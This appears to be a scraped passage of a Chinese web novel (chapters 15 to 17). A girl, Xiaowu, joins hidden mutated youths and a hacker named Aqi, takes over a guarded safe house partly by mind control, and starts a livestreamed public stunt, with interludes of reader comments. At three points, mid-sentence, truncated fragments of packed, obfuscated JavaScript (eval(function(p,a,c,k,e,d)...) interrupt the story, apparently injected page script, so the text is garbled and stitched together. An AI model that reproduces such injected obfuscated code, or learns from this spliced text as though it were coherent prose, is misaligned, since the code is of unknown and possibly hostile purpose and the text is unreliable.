“如果你是实验产物，那东西能让你在五分钟内化成一摊泥。” 身后虫子趴伏的方向传来一道年轻的男声。 “但你不是。” “但我不是，”小五的手向下，牵起女人的小拇指，拉了拉，撒娇一样，“你们要找的是病毒携带体？” “准确来说是污染源携带体……他告诉你的？” “你说王二？”小五撇了下嘴，“据嘴葫芦，还是个大忽悠，他能告诉我什么？” 全靠猜，可难死她了。 小五撑着地面坐起来，女人擦了擦脸上的泪，伸手扶了她一把。 小五尽量把自己刺啦刺啦的嗓音凹成甜甜的形状，对她道谢，又说，“别难过，别怕，如果我真是病毒携带体，你的举措是对的，你在救更多的人，”她手上是乱七八糟的划伤和泥土，不好帮人拭泪，只能拍拍，“姨，别哭，您哭的我心疼。” 中年女人又抹了把眼泪，看着小五那张脸，细细的看，看了好一会儿。 小五任由对方看，可乖巧。 “……她说不了话。” 虫子们又开始发声。 “刘姨的女儿五年前就失踪了，一年前才找到尸……找到人。” 嗓子是在看到女儿的惨状后，生生哭哑的。 小五回过头看向虫子，“那你呢？” 虫子沉默一会儿。 “我们都一样。” 趴伏了许久的虫子们重新活跃，它们一只只飞到被称作刘姨的女人身边，在女人掏出一个小盒子打开以后，又一只只飞进去排排好，只剩最后一只，停在小五肩头，“走吧，这里不方便说话。” 刘姨已经抹干了泪，她站起身，又拉着小五站起来，解下围在脸上的头巾，给小五围上了，遮住了她那张脸，又摸到她腰间的腰带上。 “那里，那个方形，对对旁边，有个隐藏的按钮……” 刘姨在虫子的指挥下按下按钮。 小五身上缠绕的线开始有序缩回腰带中，没有了外骨线的支撑，她瞬间感觉到站立的艰难。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就我这个当事人不知道。 厉害了。 “你和他们有合作呀，周五特意给我创造跑路的条件，也是你授意的？” 虫子，“不敢，没人能左右我们周大队长。” 哦，看来两人很熟悉。 这个民间的秘密组织之所以能活到现在，周五恐怕出了不少力。 说不定还有王二。 小五眯起眼睛。 太难得了，终于让她碰上一个好交流的人。 “和我一样的，很多？” 虫子也不避讳，“很多，但只有你还活着。” “旧特调局那位……是墓里出来的？” 虫子明显惊讶，“……你想起来了？我就知道……” 后面的话隐没在空气中。 小五闭上眼。 她没什么想问的了。 系统面板在旁边一闪一闪的存在感十足，是否提前提交答案的提示一直闪个不停。 小五没理，短短不到两天时间，她已经练就了忽略系统面板的神功。 她现在只打算好好睡一觉。 最后一块拼图合上了。 现在遗留的问题只有一个——那件泥巴衣口袋里的纸条。 不过这不是该她操心的事，估计王二正在赶往那个纸条指定的位置吧。 或许已经到了？ 他们之间的合作仅限于帮忙吸引视线，王二预设的吸引视线道路，是小五跟随特战小队一道转移的路途中吸引那些暗地里的人来。 搞事的那帮人的目的是除掉她。 是因为有新的成功实验体出现了？ 还是说，仅仅只是害怕证据落在官方手里，不择手段想要毁掉证据。 这么畏光。 其实也没有那么可怕嘛，这些人。 王二哥说的什么控制了水源，大概率是夸张后的说辞。 吓唬谁呢？ 嘁—— 以及周五，这家伙根本没按着王二预设的来啊。 小五翻了个身。 被推着走了这么久，还掉胳膊断腿的，不开心。 现在交卷走人算什么？ 不交。 16. 十六 小五再醒来时，人还有点懵。她这一觉几乎是昏睡，不省人事的那种，醒来反应了半天，想起自己在哪，过了好一会儿，才发现身上脏兮兮的病号服被换成了简约的睡衣，一身的泥巴也大致擦干净了。 她在床上左右滚了两下，起身。 不大的房间，没有窗，简单的单人折叠床，灯带藏在墙壁里。 这屋子里就一张床，到处都很干净，干净到像是专门为她整理出来的。 崭新。 床边放着一双一次性拖鞋，无纺布的鞋面，酒店常用款。 她套上鞋，走到门口，拉开门。 外面在吵架。 这里的隔音非常好，门关着的时候，一点来自门外的声音都听不到。 “…………你不能因为他们说的话就断定……” 小五看向正在梗着脖子大声嚷嚷的人。 光头，和她一样，很瘦，和她一样，不过是带着病气的瘦，这个就和她不一样了。 穿着长袖长裤，高领，手上带着手套，脚上踩着靴子。 室内还穿靴子。 小五扫了眼靴子鞋底的边边。 干干净净。 这间房间要大的多，依旧没窗，一侧被各种显示屏和电子设备占据，一侧摆了书架，电视，懒人摇摇椅，茶几，蒲团，冰箱，等等。有个吧台，上面堆了好些外卖包装，看起来像是垃圾。 屋内站了三个人，还有一个背对这边，坐在一块电子屏前，手指翻飞。 嗯，没见刘姨。 站着的三人吵的正起劲，大家看起来都挺忙的样子，没人注意到小五。 “……谁知道她究竟是个什么玩意儿？” “万一暴露了怎么办？万一她身上有别的传染病怎么办？” “警察根本不可信！他们就是一伙的！” “阿七，要不还是把门锁了吧，这样大家都能安心一点。” “锁什么锁，就该把她丢出去，留她在这儿太危险了！” “可是……” “行了你别插嘴了，妇人之仁，现在当圣母，之后出事了怎么办？你负责？你负得起吗？！” “啊对对对，照你说的，把证据原路送回去，然后继续窝在老鼠洞里，假装天下太平，是吧？” “说别人妇人之仁，那你是什么，缩头乌龟？” “你怎么知道她是证据？活性因子对她都没用！” “原来你还记得活性因子对她没用啊，我还以为你的记忆力已经退化到连鱼都比不过的地步了呢。” “……你！” “别吵了好不好……大家好好商量，不要吵架。” …… 小五站在门口，手还搭在门把手上，看戏看的津津有味。 刚睡醒来就整这么一出，别说，还挺醒脑的。 但有人并不想她继续看下去。 背对着她的那个人结束了自己噼里啪啦对着键盘输出的业务，脚下一蹬，转了过来。 吵架的三个人……准确来说是吵架二人加拱火式劝架一人的目光全都被吸引了过去。 “阿七，你劝劝他们……” “劝什么？” 那是个还未褪去青涩，介于少年与男人之间的青年，穿着一身宽松的T恤，头发乱糟糟的炸着。 T恤的领口不大不小，青年露出的脖颈皮肤上，有好几个奇怪的凸起。 他长的不错，有一张干净帅气的脸，只是脸色不好，眼底全是淤青。 喊他阿七的是个有着一头漂亮长发，穿着漂亮小裙子的女性，她的注意力一直都在阿七身上，以至于小五到现在还没看到过她的正脸。 阿七很明显不想理这三个人，他看向看向小五的方向。 “你醒了。” 小五注意到那三个人明显一僵。 她抬起一只手打招呼。 “你这儿是收容所？” 阿七不置可否，“不是我。” 哦，懂了，别人塞给他的。 小五又问，“现在几点？” 阿七站起身，走向吧台，边走边说，“四点三十七，下午，你睡了五个小时。” 他从冰箱里摸出浓缩咖啡，开了瓶牛奶，把两样胡乱倒在一起，“刘姨给你换的衣服。”他端起杯子一饮而尽，又从吧台边上的柜子里摸出个注射器，还有一个盒子，接着向着小五走来。 “阿七！” 那三人的视线一直钉在阿七身上，一丝一毫也不敢往小五的方向偏的样子，好像刚才大谈特谈对她的处理方式一二三的不是他们一样。 小五却在看他们。 总是柔柔的喊‘阿七’的女性看起来年纪不算大，由于角度的移动，小五终于看到她的正面——带着口罩，裸露出来的部分化着精致的妆。她也同样带着手套，小五看向她裙子下裸露的小腿，才发现似乎是穿着什么……光腿神器？ 与那高领男呛声的也是位女性，二十多岁的样子。她的穿着比较随意，短袖和居家长裤，裸露的皮肤上也有零星奇怪的凸起，一些地方的皮肤有些变色。她的脸上，嘴唇附近的皮肤有缝合的痕迹。柔弱女孩喊阿七的时候，她的表情明显不屑，很看不上的样子。 “给你，葡萄糖，你无法正常进食，自己注射……”阿七已经走到她身边，“……会用吗？” 小五收回视线，看向对方递过来的盒子和针剂，“东西还挺全。” 阿七没回话，见她接了，又转身往回走。 小五跟在他身后。 “所以你要把我扔出去吗？” 阿七头也不回，“不用管他们。” 小五看了眼吵闹男阴沉的脸色，“是吗？” 她跟着对方回到屏幕前，看着阿七青年重新坐下，在键盘上点点点，屏幕一块块切换，变成了一看就是监控视角的实时画面。 “这是……” 画面里有类似医院的地方，有街道，还有其它地方。 哦，还有新闻。 新闻被阿七切换到了最大的那个屏幕，声音也传了出来。 阿七：“昨晚爆发了一波，被他们压下去了，今早又有两波，这是第三波。” “爆发什么？” “还能是什么，”一道女声从背后传来，是那位干练的女性，她凑到旁边，“异化。” 柔弱女孩叶凑了过来，站在阿七的椅子旁边，“阿七……好可怕……” “你在说你阿七哥哥好可怕，还是说新闻可怕？” 干练女性翻了个白眼。 其实新闻内播放的画面并不怎么可怕，看起来就是几个人当街发疯，旁白在不断重复希望大家不要恐慌。 干练女看了一会儿，嗤了一声，走到一边沙发上坐下，玩游戏去了。 暴躁男见没人在意他，狠狠瞪了小五一眼，也走开了。 阿七转过头看向小五，“你想怎么做？” “嗯？” 阿七抿了下唇：“你之前说合作。” “对，”小五也看向他，“你想合作吗？” “……” “……我不知道。” 小五看向站在阿七身边的女孩。 她问，“异化是可逆的吗？” 女孩一直在回避她的目光，只是伸手抓住了阿七椅子的扶手。 阿七回答，“程度较轻的话，可以。” “你们算程度较轻？” “算，但我们的情况……有点特殊。” “怎么个特殊法？” 阿七的眉头微微皱了起来。 小五后退了一步，“抱歉，时间有限，有些咄咄逼人了，别介意。” 她重新整理了一下措辞，“可以告诉我为什么特殊吗？” 阿七：…… 小五原地等答案，背景里新闻已经切到了其它内容，仿佛刚刚报导的当街发疯真的只是一个不值一提的小插曲。 “……因为我们是特殊样本。” 女孩弱弱的声音传来，几乎是气音，她依旧不敢看小五的样子，手指紧紧抠着扶手。 “可以告诉我是什么特殊样本吗？” “告诉你又能怎么样？装什么呢？怎么，以为自己是什么救世主吗？” 小五没等到女孩的回答，暴躁男在远处又开始大声嚷嚷。 “就你那死人样……” 他一句话没说完，被迎面而来的抱枕砸了回去。 “可闭嘴吧你！” 是干练女，她手上还拿着一个抱枕，一副对方再开口就继续砸的模样。 小五眨了下眼。 她看向阿七，“样本能受点外伤吗？” 阿七：…… “只要异化程度不突破临界点。” “很好。” 她点了点头，转身走向暴躁男。 “你干什么？说你装你还喘……” 暴躁男的声音戛然而止。 小五拎着对方的衣领把人往地上一丢，摘下他两只手套塞进他的嘴里，然后看向目瞪口呆的干练女。 “请问有胶带吗？” 干练女：…… 她默默转身走到吧台，翻找了一会儿，拿了一卷黑胶带过来。 “这个能行吗？” “可以。” 小五将对方的嘴连带脸缠了个严严实实，然后起身，拍了拍手，将随手放在一边的注射器和葡糖糖重新拿好。 她冲着干练女歉意的笑笑，“不好意思，冲动了。” 干练女看了眼地上昏迷的男人，又看了眼小五：“……可以理解。” “你不怕我是病毒携带体？” 干练女，“啊……你别听他瞎说，他就是日常没事找事，我们……”她停了一下，“我们在这里半年多了……” “为什么？” “就她说的，特殊样本，”干练女拧着眉头，“一般异化都是中老年后发作，或者是那些天选者，很少有像我们这样的普通年轻人。” “刚开始我还以为自己得了什么病呢，跑去医院检查，医生让我住院观察，说是什么基因病，后来睡了一觉，发现自己被卖了，可去他XX的。” “然后你被救了？” “对，”干练女点点头，“之后就被送这里来了，我待的那个实验所没几个囫囵个儿的人，就我一个还有个人样。” 她说着，忽然意识到什么，看了小五一眼，“额，我不是，我没说你……” “没关系，”小五笑了笑，“为什么不回家？” “我们几个的异化已经到肉眼可见的程度了，不控制很快就会失去理智，又是罕见案例，在那些人那边都是留了档案的，不好回归普通社会，再说被发现我们还活着，家人都会有危险，干脆就签了合作协议，留在这儿，至少图个安全。” “合作协议？” “对，提供样本，异化的人身体内的活性因子和正常状态不一样。” “疫苗？” 干练女耸了耸肩，“他们是这么说的。” “提供给谁？” “特调局，他们之后肯定也会找你签协议，你一看就比我们还特殊。” “这里是特调局的地方？” “不算吧，我们现在明面上不存在。” 干练女笑了笑，“好好的人，活的跟个鬼一样，”她朝着地上的男人抬了抬下巴，“这人是个富二代，网红，粉丝挺多，其实不是什么坏人，就是憋的，看见个会动的就想怼两句。” 摊上这么个事儿，好好的生活变的一团糟，看不到明天，整天活的莫名其妙。 确实很容易发疯。 “其实……我能理解他，”干练女看着小五，“之前你和那些人对峙的时候，我们都看着呢，帮不上什么忙，就干看。” “你比我们惨多了，但是，怎么说呢，你又不比我们惨。” “就……衬的我们几个特别傻／逼。” 她环顾四周，“刚开始的时候，人还要多些，后来跑了一波，暴露以后不得不转移。那帮瘪犊子搞什么反抗，绑了小七，給小七注射自己的血，异化人的血啊，小七是硬生生被人給弄成现在这样的。” “当时我们仨，就光看，啥忙也没帮，特别不是东西。以前的基地里留的有武器，定期还能出门放放风，现在不行了。” 一声抽泣打断了干练女打开话匣子后的持续输出，小五转头看去。 是柔弱女孩。 干练女停了一下，接着说道，“你们是能办大事的人，我不行，我没那个胆子，更没那个脑子，我现在情绪也很不对，我们几个都挺不对的，他们说是异化的原因，谁知道呢……” “总之，有什么需要的你就吩咐，别的干不了，端茶倒水总还能行。” 干练女自嘲的笑了笑，她走开了，重新窝回沙发，拿起手柄，玩游戏。 小五原地站了一会儿，忽然伸手再次提起地上男人的衣领，拖着人走回阿七身边。 阿七看着她，面无表情，“同情的话不需要。” 小五：…… “你想多了。” 阿七又看昏迷的男人，“这里严禁私刑。” 小五：…… 她把人往阿七身上一怼，青年脸上的面无表情端不住了，他嫌弃的连人带椅子往旁边挪。 男人duang的一下，掉在了地上。 小五若无其事的收回手。 “异化人无法走出这里，是因为有识别系统？识别到后主动攻击？” 阿七正皱着眉头拍自己的裤子，闻言愣了一下，抬头看过来。 “你以前负责给他们送生活物资？这里是你的房产？” “现在送生活物资的是刘姨。” “和你保持联系的特调局……” 阿七：“等等！停！” 都中了啊。 小五笑了一下，“怕什么，最多再过几天，你们就能重新回归阳光下，不用继续窝在这个地下室里，让他们知道又能怎么样？” 阿七张了张嘴，最后还是闭上，不说话了。 小五接着说，“你的家人呢？” 阿七没回答。 “那个什么……天选者？” 阿七还是沉默。 小五看了眼地上经过刚刚那一摔其实已经转醒，却依旧保持着姿势没动的暴躁男。 仿佛被揍了一拳后终于重新拾回了失散多年的理智。 她接着说。 “明明该躲在阴沟里瑟瑟发抖的是他们，可事实却恰恰相反，有没有想过为什么？” 阿七嘴唇动了动，还是没说话。 小五接着说，“王二给我讲了个故事，挺有趣的，你和王二也有合作，对叭，他们是王二塞给你的。” “我们不讨论由来，只看去处。” “我问你，异化爆发，受害者众，目击者更众，在信息高速流通的时代，这些难道是可以被轻易压下去的吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“要赌一把吗？” 阿七看着眼前的人，他很不理解，这样一个人，明明是这样一个人，为什么她还能一副神气活现的样子。 “……赌什么？” 小五抬手一挥，“赌我是个好人！” 说着，手一顿。 “说起来，这里的位置，知道的人应该很少，嗯……有人监视这里吗？” 停止咳嗽的暴躁男一脸无语，“你现在才想起来问？” “我推测没有，但不排除万一的可能性嘛。” 小五冲着阿七眨巴眼。 “有吗有吗？”她捏拳头示意了一下，“力气可大，想好回答哈。” 阿七：…… “有监控备份，时限内没删除会自动发送到安全邮箱。” “那有看守吗？” 大约是放下了那点小矜持，阿七回答快了些，“隔壁住的联络人。” “会过来吗？” “每天定点联络三次，有随机密语，只有我知道。” 小五单手叉腰，琢磨了一会儿。 “行，问题不大。” 她摆出一副诱／拐脸，“憋了那么长时间了，快憋坏了吧？总被人安排算什么事儿呐？” “与其在角落里默默发霉，然后在某一天，彻底消失，不如在消失前干票大的” “你们也在怀疑，怀疑所谓的提供基因样本只是为了暂时稳住你们不要搞事，你们在害怕，害怕自己身上那点价值一但不复存在就会被抛弃。” “那么多人呢，对吧，异化的特殊样本难道真的很少吗？” “所以有了那次所谓的反叛和逃离，所以你们三个并没有反对他们的行动，而是默许。” “对不对？” “还是那句话，未知会滋生无序的猜疑，而无序的猜疑会引起混乱。” “而且，如果我猜的没错，其实你也一直在等一个人，一个像我这样的人，一个或许能打破自己如今处境的人，是不是，阿七哥哥？” “不然，你的主动暴露实在是太快了，也太明显了，作为一个这方面的高手，不该犯这么明显的错误。” 小五摊开双手，“现在，担责的有了，我，机会也送到你们面前了。” “要抓住吗？” 阿七张了张嘴，还没来得及说话，小五又在输出。 她微微前倾身体，一个很常见的施压动作，“清注意，我只是象征性的征求一下你们的意见，你们目前除了同意以外没有别的选择。” “不要让我听到我不想听的回答。” 她的脸凑近了阿七，直视他的双眼，瞳孔形状慢慢改变。 阿七猛的别过了头。 小五笑了笑，直起身，“你看，我早就通过了你的观察期。” 干练女刚刚走过来，不敢靠太近，但敢吐槽，“……你现在看起来像个传／销头子。” 小五：“谢谢夸奖？” —————— [再说一遍，你们智类考核，人均八百个心眼子] [有人分析一下吗？怎么就合作上了？] [还记得医院病房监控集体转向事件吗？这个举动其实很没必要，除了装逼] [你这么一说，好像确实……] [所以妹妹是从那个时候开始就在布局了吗？] [没那么夸张，这位数字七肯定会自己再出现在妹妹眼前，她只需要等就行了] [一共三个方向，妹妹选了自己能抓住主导权的那个] [王二和周五太难搞，短时间内妹妹搞不赢] [哪三个啊（弱弱）] [二，五，七] [言简意赅，我喜欢] [说的好像长时间搞得赢一样] [还真不一定，咱妹给人的感觉很怪，一般这种怪的，都不是很好用常理判断] [妹妹现在想干什么？] [搞事呗，还能干什么？] [……啊这] [合理怀疑妹已经够到交卷标准了] [+1] —————— 刘姨每天六点来送饭，对外她是这家请的阿姨，就管送饭。 她已经送了好几年了。 自从阿七也变成异化人以后，刘姨的工作又多了一项——开灯关灯。 阿七在父母和哥哥走了以后，性情大变，基本不再和邻居交流，但总归有有心人时不时关注这边，因此，一些细节上的准备还是要到位的。 今天的刘姨多叫了一份海鲜粥，因为新来的那个小姑娘。 听阿七说，小姑娘无法正常进食。 也不知道要多久才能把肉养回来，看着太瘦了。 刘姨想着，提着一大堆外卖，先是穿过一条长长的通道，又进入一个消毒室，这里的识别系统全程自动工作，她在里面被关了十分钟，终于能再次移动。 地下室的门只能从外面开，她熟门熟路的打开厚重的门。 …… 外卖因为脱力而掉在地上。 刘姨还没来得及看清什么，人已经软软倒了下去。 意识的最后，是阿七的声音。 他说——抱歉，刘姨。 17. 十七 ——出门后右拐，上二楼，第二间房，进门后右手边书架上有个根雕摆件，把它挪开，摆件下面的隔板可以拆卸，卸掉后内侧挡板有凹痕，在凹痕的右边，按一下。 地面上房间内装有干扰设备，一切相对精密的电子仪器在室内都无法正常运行。 阿七说这个防御系统是他哥哥弄的，他哥比他大13岁，是特调局的信息安全官。 ——之后里面的挡板会自动打开，双重锁，用我给你的钥匙，插进去后先右转三圈，再左转一圈，右四分之一圈，左半圈，再左一圈半。 小五穿着刘姨的衣服，为了让身材更贴合，干练女贡献了几件自己的衣服。 ——屏幕亮了吗？……好，不要拔钥匙，拔了会全屋上锁启动防卫系统……你没拔吧？ 小五松开捏着钥匙的手：“没有。” ——那就好……屏幕亮了以后，每隔十五秒输入框会变形，一共三个形状，这个是随机的，你等到横向的长方形，正方，横向，竖向，竖向的时候输入密码，横，正横，竖，竖，别记错了，没有试错次数，密码是22309。 小五等了一会儿，输入密码。 ——好了吗？……打开以后是个操作面板，你摸一下，面板正下方，有个凹槽，把我给你的芯片塞进去。 小五照做。 “好了。” 她盯着眼前看不懂的高科技看了两秒，重新将层层防护还原，转身走出了书房。 ——一般情况下，刘姨送完饭都会直接离开，不会待太久，偶尔开火做点火锅什么的，你……联络人有两个，伪装成同性情侣，他们虽然没特调局的那些人厉害…… 小五已经走到大门口，手搭在了门把手上。 “担心我哦。” ——……我是担心我们出师未捷。 “嗯嗯嗯” 小五敷衍的回了一串，打开门走了出去。 不到七点，天色已经开始暗下来了。 她走出院门，转向，来到隔壁的院门前。 监控设备里照出她的脸，是刘姨的脸。 她微微低着头，敛着眉眼，按了下门铃。 不一会儿，里面的门开了。 开门的是个帅气的小姐姐，小姐姐并没有来开院门，只是站在原地疑惑的看着眼前的人，“……刘姨？有什么事吗？” 小五能感觉到对方隐藏在疑惑下的打量与审视，她抬起头。 “您这里有辣椒面吗？家里没有了，想做点油泼辣子。” “辣椒面？辣……辣椒……” 仅小五可见的世界里，眼前带着微弱灵光的小姐姐身上起伏平和的气逐渐凝固，仿佛变成了一块接近透明的固体。 小姐姐的声音也跟着一起凝固了。 小五看着对方，抑制住自己想要眨眼的冲动，轻声说，“开门。” ——……他们联络我了，我告诉他们没事，他们那里也有检测设备，我会让飞廉十六号暂时休眠，十分钟，够吗？ “嗯。” 帅气小姐姐一脸恍惚的倒退两步，背景音里似乎有人在问怎么了，小姐姐没有回答，只是在门内的墙边按了什么。 院门开了。 小五穿过院门，走了进去。 十分钟后，一只黑色的小虫子从正在翻阅手机的小五的耳朵里钻了出来，它围着小五转了一圈，又飞到旁边沙发上排排坐的三个旁边。 “居然是三个人……他们怎么了？” “暂时智熄。” “啊？……哦，室内智控已经成功接管，你们可以过来了。” “这边呢？”小五收起手机，很自然的装进自己的口袋里。 “有飞廉十六号。” “行。” 小五走到排排坐的三人面前，微微弯腰，盯着他们看了一会儿。 她轻声说，“去阿七家。” 沙发上的三人仿佛在挣扎，身体不协调似的摆动好几下，最终，还是在小五的视线中站起身，往外走去。 小五跟在他们身后，顺手带上了门。 不久后，恢复神志的三人只穿着一身内衣，在关了阿七他们大半年的地下室内面面相觑。 阻挡异化人的检测系统被阿七一键恢复出厂设置，还原了它最初作为临时关押场所的属性，地下室内的电子设备也被全部上锁，使用权只在阿七手中。 而始作俑者们，已经驱车离开。 开车的是暴躁男，他现在倒是不怎么暴躁了，只是情绪异常兴奋，车开的极其飘忽，坐在他正后方的干练女抓着扶手，被晃的忍无可忍，抬腿给他的椅背狠狠来了一脚。 副驾驶的阿七将一部手机递给后座的小五。 “里面有定位，不能直接清理掉，我给关盒子了。” “嗯嗯。” 小五接过手机。 “锁屏也关了，你可以随意用。” “谢谢阿七哥哥~” 阿七：…… 他默默转移话题，“现在直接去新历广场？” “对，”小五对着手机点点点，这个世界的手机比她原本世界的手机要优秀的多，超薄推拉屏，反应也快的多。 她点开一个视频，看了一会儿，又点开一个。 开车的暴躁男坐不住了，但他好像很怵小五，并不敢说话，他的脸如今是联络人三人组当中唯一的男人的脸。 好在折磨没持续多久。 “你跟以前……差别有点大啊。” 小五看的是暴躁男以前的视频，那时的他一点也不暴躁，反而还很温和，温和有礼，说话也很有涵养的样子。 坐在小五身边的柔弱女孩小小声接话，“异化会让人变的不像自己……” “是吗？” 小五看了她一眼，收起手机，问正在围观地下室那三人拆家的阿七，“人联系了吗？” 阿七看了眼手边另一个屏幕，“能来七个，时间有限，只能找附近的。” “能来就行，不挑。” 暴躁男插言，“我也联系好了，推广位，首页大屏，他们以为是我妈弄的，全网找儿子直播3.0，没怀疑。” 阿七接了一句，“我只能保证直播的前二十分钟不被关停。” 暴躁男咬牙，“呵，平台就我家的，他们敢关我的直播？” 干练女：“为什么不敢？盗号听说过没，大少爷？” 暴躁男一脚油门，嘴上正要还击。 小五拍了下手。 “都控制控制自己的脾气，别吵架，别让异化操控你。” 暴躁男一口气憋住了。 车内安静了一段时间，直到阿七打破沉默。 “到了。” 小五看了眼窗外，占地颇大的广场，行人与游玩的人遍布。她从腿边的小包里取出营养针，给自己一次性来了三下。 旁边的柔弱姑娘欲言又止。 暴躁男在附近找了个空车位停了进去。 小五下车，活动了一下筋骨。 阿七将一个手提箱放在后座空出来的地方，打开，里面是又一个小五不认识的高科技。他已经换到了驾驶位，干练女也移动到了副驾驶。 暴躁男和柔弱姑娘跟在小五身边。 阿七放下车窗，看着精神抖擞准备出发的小五，带着一点不解，“你就不怕我们反水吗？” “配合有配合的路，反水有反水的对策，”小五回头，属于刘姨的脸上挂着笑，“你要反吗？” 阿七：…… “不。” 车窗重新升起，隔绝了小五的视线。 小五无所谓的回身，张开双臂向前走了一步，仿佛在拥抱世界。 ——演出开始。 车内，干练女瞪着眼看着外面。 “她……原来是这种画风的吗？” 任务繁重正对着键盘一顿狂风暴雨式输出的阿七：“别问我。” 干练女看了一会儿，外面三个人已经走远了，她才转过头来。 “你说，她主张我留下，是不是……” 阿七的手顿了一下，又开始继续作业。 “我说了，别问我。” …… 新历广场并不是安市最大的那一个，却是最繁华的那一个。它的周围有平市规模最大的商业中心，最受欢迎的饮食街和娱乐场所，以及流量最大的地铁站。 带崽的，逛街的，聚会的；广场舞，运动，象棋。来这里干什么的人都有，一天当中，傍晚到半夜这段时间，就是新历广场人气最旺的时候。 人气最旺的广场上没几个凳子，却依旧有很多人围着广场转悠。他们左看看摔来摔去爬起来依旧是一条好汉的滑板少年，右看看挥舞着辫子抽陀螺威风凛凛的大爷；在广场舞方阵后面跟着伸伸胳膊伸伸腿，再跑去年轻人的随机舞圈子那里歪着脑袋不明觉厉的看。 “以前没仔细观察过，咱们的夜生活真的很丰富多彩哈。” 一个长相平平，但笑容喜庆的男人看了眼同伴在直播死角递过来的手机，那是这次的雇主发来的指示。 他不动声色的接着对着镜头说道，“谁四肢出走了？我跳的不好看吗？我那动作不标准吗？” “不识货，啧啧啧，不识货啊，我这种才是正经锻炼的好吧。” 他举着手机开始往指定的方位走，这次的老板可大方，他自己内心也好奇老板说的‘神秘现象解密’究竟是个啥，不自觉的将期待的兴奋带到了语气里。 同伴出现在镜头中，两人开始了一轮以大众都市夜生活为主题的激烈讨论，节目效果显而易见的好。 正聊着，一道突兀的声音打破了周围的和谐。 两人循声望去，又在直播间内水友们好奇的要求下将镜头也转了过去。 一个平平无奇，甚至还有点土里土气的中年妇女，正站在人群之中。宽大的衣服半点也不合身，像是偷穿别人的，脸上的表情也一点也不符合她的外貌，像是偷长别人的。 特效化妆？节目效果？ 总之，哪哪都古怪。 古怪的人正扬起双手，高声呼喊。 “全体目光向我看齐！！” 这一声可谓振聋发聩，也不知道为什么，中年妇女周围的人竟然真的都停下自己正在干的事，看了过去。 男人的直播间弹幕刷过一大波的‘中二病？’‘搞抽象？’，问号重重叠叠，他和同伴在镜头后面面相觑。 想象中的高人形象与现实完全不符，可说的话的确是约定好的暗号。 如果不是账户上切切实实多出来的真金白银作保，他俩真觉得这就是水友闲的没事干给他俩安排的一次整蛊项目。 男人想了想，压低声音，捂住自己的麦。 “先看看。” 同伴点了点头，他示意男人看向旁边。 那里是另几名自媒体人，同市混的不错的自媒体人他们基本都熟悉。 认出人，男人暗自感叹——嚯，还真叫来这么多啊。 …… 小五站在人群中央，在一众人莫名其妙的注目下，开口。 “我，本人，一名风水大————师！今天心情好，特来给大家变个戏法，”她双手划拉了个大圆，像是在空气里划出一个饼，接着背起手，说道，“众所周知，搭了台子，不能直接唱，得先暖暖台。” 有人接话，“众什么所知啊，没听说过啊！” 那人举着稳定器，看起来像个拍视频的博主，说话语气也夸张，很快引起了一些人低低的笑。 小五看向他，笑眯眯的说，“这位朋友，这你就不懂了吧，现在……不就众所周知了吗？” 她原地踱了两步，环视四周。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯……只对了一点，”小五循循善诱，“聪明的小朋友，长毛毛的动物有很多呀。” “那……那就是长毛的动物！” 小五一拍手，“对啦，真聪明，”她补充道，“毛，乃带毛的兽类，以麒麟为之长。” “还有呢？”她鼓励的看向小小少年。 一位博主忽然举手，“我我！鳞是指带鳞片的鱼类！” “基本正确！”小五对该博主竖起大拇指，“鳞，指带鳞片的动物，以蛟、龙为之长，”小五继续问道，“还有呢？蠃虫与昆虫？” 小小少年抢答，“我知道！昆虫！” “是什么呢？”小五看向他。 “昆虫，就是昆虫呀！” “不太对哦，”小五摇了摇手指，“我们说的不是如今广泛认知的昆虫，而是五虫中的昆，昆，指有甲壳的动物，以神龟为之首。” “现在，只剩下最后一虫了，有人知道吗？”小五目光一转，看向另一位博主，对方正拿着手机，她凑过去，“搜到了吗？” 博主脸皮一红，在弹幕吐槽和周遭人打趣的视线中将手机翻转展示给小五，“搜到了，嘿嘿。” 小五并不看手机，她重新退回中心，“那就由你告诉大家吧。” 博主四下看了看，莫名紧张，她清了清嗓子，“是人类。” “对，蠃虫，是人类，以三清为之长，”她再次环顾四周，“现在，我们弄清楚了五虫是什么，接下来，本大师再问大家一个小小的问题。” 小五笑眯眯，“众所周知……” 第三次众所周知现身，这次大家都笑了，气氛十分热闹，几乎所有人都在好奇小五接下来会讲些什么。 “众所周知，历史悠久的古城，在布局上面，总是颇为讲究风水，比如传说中的五镇。” “看看，又一个五。” 暴躁男与柔弱女正混在人群当中，人群中央的小五已经讲到了说好的节点，两人对视一眼，暴躁男举起手中的手机，开了直播。柔弱女凑近暴躁男小小声说道，“我拿着吧，一会儿你还要……”她的话语声戛然而止，暴躁男却意会了未尽之言，想了想，觉得挺有道理，于是将手机递给柔弱女。 “你小心点，别瞎按给关了，拍照会吧，对准人，手别抖！” 他们没有稳定器，画面很容易在抖动中失焦。 柔弱女绷着嘴角严肃的点点头，很认真的样子。 暴躁男看了她两眼，没再说什么。他的戏份还在后面，这会儿已经开始有点紧张。 父母会认出他来吗？ 这狗shi一样的日子，真的能完结吗？ 什么辣鸡特调局，什么辣鸡人造神，都是狗shi！狗shi！暴躁男信不过他们，他只信自己。 他得想办法和父母取得联系，然后趁机跑去国外，到时候，什么辣鸡特调局，辣鸡异化，都特么再见吧！ 暴躁男心怀伟大宏愿，一面觉得自己是忍辱负重三年不鸣一鸣惊人的绝世高寿，一面又惴惴于小五战线出来的强势和邪门能力，思维乱飞，因此根本没注意到小五演讲间隙瞥过来的，冷淡的一眼。 